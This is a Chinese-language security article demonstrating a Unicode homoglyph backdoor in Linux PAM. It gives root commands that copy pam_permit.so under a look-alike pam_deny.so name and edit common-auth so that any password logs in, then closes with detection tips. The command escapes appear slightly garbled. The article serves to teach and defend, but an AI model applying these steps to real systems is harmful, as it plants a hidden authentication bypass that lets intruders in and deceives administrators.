偽裝在系統PAM配置檔案中的同形異義字後門
0x00. 前言
受到FreeBuf早前相關同形異體字攻擊文章的啟發,故有此文。
目前主流的Linux發行版本都支援Unicode,這也給了利用同形異義字迷惑系統管理員的後門有了可乘之機。 本文通過案例描繪此類漏洞是如何實現的。
0x01. 同形異義字後門案例
我們看一下 ssh 的 pam 認證模組
注意第一行 @ include common-auth
我們再看一下 common-auth
注意紅框圈的那一行
auth [success=1 default=ignore] pam_unix.so nullok_secure
pam_unix.so 是用於校驗使用者的的賬戶和密碼是否正確,如果賬號密碼正確,則直接返回,不執行下一行,否則執行下一行。
auth requisite pam_deոy.so
關於 requisite 的含義解釋如下:
因為 pam_deny.so 模組會返回失敗, 加上這行的控制標記是requisite,所以系統會直接拒絕使用者登入。
我們知道與 pam_deny.so 模組對應的就是 pam_permit.so , 如果我們能把
auth requisite pam_deոy.so
更改為
auth requisite pam_permit.so
則任意密碼都可以登入成功,但這裡也有個問題
pam_permit.so 很容易被管理員發現啊,畢竟pam_permit.so 和pam_deny.so 看起來就不一樣嘛
所以這裡要用到本文所述Unicode 的同形異義字來將pam_permit.so 偽裝起來,使其看起來像pam_deny.so
1、先把 pam_deny.so 備份
2、然後利用 Unicode 同形異義字 將 pam_permit.so 偽裝成 pam_deny.so
root@kali:~# cp /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'u578'y.so
偽裝後的 pam_deոy.so , 紅圈所示, 不留心仔細觀察,很難分辨真偽
3、然後修改 /etc/pam.d/common-auth 中的 pam_deny.so 為 偽裝的pam_deոy.so
root@kali:~# perl -i -pe's/deny/dex{578}y/' /etc/pam.d/common-auth
檢視一下修改後的common_auth (紅框所示)
不仔細觀察,不好辨真偽
4、修改後,登入測試,看看能否可以實現任意密碼登入
隨便輸入密碼
點選‘確定’
成功登入
我們看一下登入日誌 ( /var/log/auth.log )
我們可以看出,雖然 pam_unix.so 認證失敗,但是 最終還是登入成功(因為偽裝的 pam_deոy.so 起了作用)
0x02. 總結
雖然偽裝的 pam_deոy.so 和真正的 pam_deny.so 看起來一樣,但實際上是不同的兩個檔案,要區分它也很簡單, 總結以下方法:
1、直接使用 file 或者 locate 命令檢視 pam_deny.so 是否存在
2、系統安裝後給所有的檔案做 hash, 然後對比 hash 3、檢視登入日誌 (比如 /var/log/auth.log ) 如果發現 pam_unix 認證失敗,仍能登入成功,則必須警惕 pam_deny.so 是否已經被調包 4、如果發現任意密碼均可登入,則要警惕 pam_deny.so 是否已經被調包